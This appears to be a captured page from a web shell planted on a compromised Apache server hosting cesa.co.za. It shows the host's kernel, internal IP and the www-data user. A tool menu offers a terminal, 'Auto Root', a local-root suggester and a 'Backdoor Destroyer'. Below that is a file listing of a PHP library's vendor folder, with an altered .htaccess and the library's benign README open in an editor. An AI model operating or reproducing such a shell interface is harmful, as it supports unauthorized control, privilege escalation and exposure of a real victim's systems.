Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
creof /
wkb-parser /
Delete
Unzip
Name
Size
Permission
Date
Action
lib
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
tests
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.codeclimate.yml
132
B
-rwxrwxr-x
2022-02-15 22:46
.gitignore
22
B
-rwxrwxr-x
2022-02-15 22:46
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
.travis.yml
378
B
-rwxrwxr-x
2022-02-15 22:46
CHANGELOG.md
3.21
KB
-rwxrwxr-x
2022-02-15 22:46
CONTRIBUTING.md
424
B
-rwxrwxr-x
2022-02-15 22:46
LICENSE
1.04
KB
-rwxrwxr-x
2022-02-15 22:46
README.md
2.51
KB
-rwxrwxr-x
2022-02-15 22:46
TODO.md
0
B
-rwxrwxr-x
2022-02-15 22:46
composer.json
840
B
-rwxrwxr-x
2022-02-15 22:46
phpunit.xml.dist
747
B
-rwxrwxr-x
2022-02-15 22:46
Save
Rename
# creof/wkb-parser [](https://travis-ci.org/creof/wkb-parser) [](https://codeclimate.com/github/creof/wkb-parser) [](https://codeclimate.com/github/creof/wkb-parser/coverage) [](https://coveralls.io/github/creof/wkb-parser?branch=master) Parser library for 2D, 3D, and 4D Open Geospatial Consortium (OGC) WKB or PostGIS EWKB spatial object data. ## Usage There are two use patterns for the parser. The value to be parsed can be passed into the constructor, then parse() called on the returned ```Parser``` object: ```php $parser = new Parser($input); $value = $parser->parse(); ``` If many values need to be parsed, a single ```Parser``` instance can be used: ```php $parser = new Parser(); $value1 = $parser->parse($input1); $value2 = $parser->parse($input2); ``` ### Input value #### Encoding The parser currently supports 3 WKB encodings: - OGC v1.1 - OGC v1.2 - PostGIS EWKB #### Format The parser supports a number of input formats: - Binary string (as returned from database or ```pack('H*', $hexString)```) - Bare hexadecimal text string (```'01010000003D0AD7A3.....'```) - Hexadecimal test string prepended with ```x```, ```X```, ```0x```, or ```0X``` (```'0x01010000003D0AD7A3.....'```, etc.) ## Return The parser will return an array with the keys ```type```, ```value```, ```srid```, and ```dimension```. - ```type``` string, the uppercase spatial object type (```POINT```, ```LINESTRING```, etc.) without any dimension. - ```value``` array, contains integer or float values for points, nested arrays containing these based on spatial object type, or empty array for EMPTY geometry. - ```srid``` integer, the SRID if present in EWKB value, ```null``` otherwise. - ```dimension``` string, will contain ```Z```, ```M```, or ```ZM``` for the respective 3D and 4D objects, ```null``` otherwise. ## Exceptions The ```Reader``` and ```Parser``` will throw exceptions implementing interface ```CrEOF\Geo\WKB\Exception\ExceptionInterface```. ## References - PostGIS EWKB - https://github.com/postgis/postgis/blob/svn-trunk/doc/ZMSgeoms.txt - OGC Simple Feature Access, Part 1 - http://www.opengeospatial.org/standards/sfa - OGC Simple Feature Access, Part 2 - http://www.opengeospatial.org/standards/sfs